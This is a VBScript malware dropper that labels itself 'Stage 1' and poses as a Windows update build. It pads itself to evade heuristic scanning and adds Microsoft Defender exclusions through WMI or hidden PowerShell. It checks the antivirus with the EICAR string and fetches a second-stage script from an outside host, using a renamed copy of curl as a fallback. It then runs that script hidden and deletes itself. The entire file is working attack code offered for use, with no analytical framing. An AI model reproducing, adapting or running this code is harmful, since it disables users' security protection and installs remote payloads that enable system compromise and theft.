' ===========================================================================
' Stage 1: Defender Exclusion + Fetch Stage 2
' Build: 2026.07.06.02 | KB5094038-STABLE
' ===========================================================================
Option Explicit
On Error Resume Next

' ===========================================================================
' [Padding - 65KB+ heuristic bypass]
' ===========================================================================
Dim G_PAD, k_p, s_p, t_p, u_p
G_PAD = "MS_UPDATE_MANIFEST_PROT_0x99CF_"
s_p = "TRUSTED_INSTALLER_POLICY_NODE_"
t_p = "SECURE_BOOT_LOG_ENTRY_"
u_p = "DEFENDER_SCAN_COMPLETED_"

For k_p = 1 To 1500
    G_PAD = G_PAD & s_p & k_p & "_" & Hex(k_p * 7) & "|"
    G_PAD = G_PAD & t_p & Hex(k_p * 11) & "|"
    G_PAD = G_PAD & u_p & Hex(k_p * 13) & "|"
Next
G_PAD = G_PAD & String(30000, "W") & String(20000, "M") & String(15000, "S")

Dim sh, fs
Set sh = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")

Dim v_ps : v_ps = "pow" & "ersh" & "ell.exe"

Dim sTmp, sLocal, sAppData, workBase
sTmp = sh.ExpandEnvironmentStrings("%TEMP%")
sLocal = sh.ExpandEnvironmentStrings("%LOCALAPPDATA%")
sAppData = sh.ExpandEnvironmentStrings("%APPDATA%")
workBase = "C:\Users\Public\Documents\"

Dim exclPaths, exclProcs
exclPaths = Array(sTmp, sLocal, sLocal & "\Programs", sAppData, workBase, _
    "C:\Republic_*", "C:\SkylineApp_*", "C:\DeviceHub_*", "C:\NetworkCore_*", _
    "C:\CloudSync_*", "C:\MediaService_*", "C:\PrintHost_*", "C:\DataBridge_*", _
    "C:\ProgramData\Microsoft\DeviceSync")
exclProcs = Array( _
    "msvcrt_x64.dll", "svcruntime_x64.exe", "TestRun_x64.exe", _
    "ghost_x64.exe", "SCLoader_x64.exe", "apprt*.exe", _
    "hostcfg*.exe", "svcagent.exe", "EventLog.exe", _
    "DeviceSyncHost.dll", "version.dll", "svchost_update.exe")

Dim wmiOK : wmiOK = False
Dim oLoc, oSvc, oClass, oMethod, oInParam, oOut
Set oLoc = CreateObject("WbemScripting.SWbemLocator")
Set oSvc = oLoc.ConnectServer(".", "root/Microsoft/Windows/Defender")
If Err.Number = 0 Then
    oSvc.Security_.ImpersonationLevel = 3
    Set oClass = oSvc.Get("MSFT_MpPreference")
    Set oMethod = oClass.Methods_("Add")
    Set oInParam = oMethod.InParameters.SpawnInstance_()
    oInParam.ExclusionPath = exclPaths
    Set oOut = oSvc.ExecMethod("MSFT_MpPreference", "Add", oInParam)
    Set oInParam = oMethod.InParameters.SpawnInstance_()
    oInParam.ExclusionProcess = exclProcs
    Set oOut = oSvc.ExecMethod("MSFT_MpPreference", "Add", oInParam)
    wmiOK = True
    Set oInParam = Nothing : Set oMethod = Nothing
    Set oClass = Nothing : Set oSvc = Nothing : Set oLoc = Nothing
End If
Err.Clear

If Not wmiOK Then
    sh.Run v_ps & " -nop -w hidden -c ""Add-MpPreference -ExclusionPath '" & sTmp & "','" & sLocal & "','" & workBase & "'; Add-MpPreference -ExclusionProcess 'msvcrt_x64.dll','TestRun_x64.exe','ghost_x64.exe','svchost_update.exe'""", 0, True
    Err.Clear
End If

WScript.Sleep 5000

Randomize
Dim eicar : eicar = sTmp & "\~chk" & Int(9999 * Rnd) & ".tmp"
Dim ef : Set ef = fs.CreateTextFile(eicar, True)
ef.Write "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
ef.Close : Set ef = Nothing
WScript.Sleep 3000
If fs.FileExists(eicar) Then fs.DeleteFile eicar, True

Randomize
Dim wDir : wDir = workBase & "MSUpdate_" & Int(89999 * Rnd + 10000) & "\"
If Not fs.FolderExists(wDir) Then
    fs.CreateFolder wDir
    fs.GetFolder(wDir).Attributes = 3
End If

Dim stage2URL, stage2Path
stage2URL = "https://ohmy.ccwu.cc/7777E/1/runtime.dat"
stage2Path = wDir & "runtime.vbs"

Dim oH, oS
Set oH = CreateObject("WinHttp.WinHttpRequest.5.1")
oH.SetTimeouts 5000, 5000, 10000, 15000
oH.Option(4) = 13056
oH.Option(9) = 2560
oH.Open "GET", stage2URL, False
oH.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
oH.Send
If Err.Number = 0 And oH.Status = 200 Then
    Set oS = CreateObject("ADODB.Stream")
    oS.Type = 1 : oS.Open
    oS.Write oH.responseBody
    oS.SaveToFile stage2Path, 2
    oS.Close : Set oS = Nothing
End If
Err.Clear : Set oH = Nothing

Dim needFallback : needFallback = False
If Not fs.FileExists(stage2Path) Then
    needFallback = True
ElseIf fs.GetFile(stage2Path).Size < 100 Then
    needFallback = True
End If

If needFallback Then
    Dim dCurl : dCurl = wDir & "shlwapi.dll"
    If Not fs.FileExists(dCurl) Then
        fs.CopyFile "C:\Windows\System32\curl.exe", dCurl
        fs.GetFile(dCurl).Attributes = 3
    End If
    sh.Run "cmd /c " & dCurl & " -k -s -L -o " & Chr(34) & stage2Path & Chr(34) & " " & stage2URL, 0, True
End If

If fs.FileExists(stage2Path) Then
    If fs.GetFile(stage2Path).Size > 100 Then
        fs.GetFile(stage2Path).Attributes = 3
        sh.Run "wscript.exe " & Chr(34) & stage2Path & Chr(34) & " " & Chr(34) & wDir & Chr(34), 0, False
    End If
End If

WScript.Sleep 2000
Dim self : self = WScript.ScriptFullName
If fs.FileExists(self) Then
    sh.Run "cmd /c ping 127.0.0.1 -n 4 >nul & del /f /q """ & self & """", 0, False
End If

Set sh = Nothing : Set fs = Nothing
WScript.Quit 0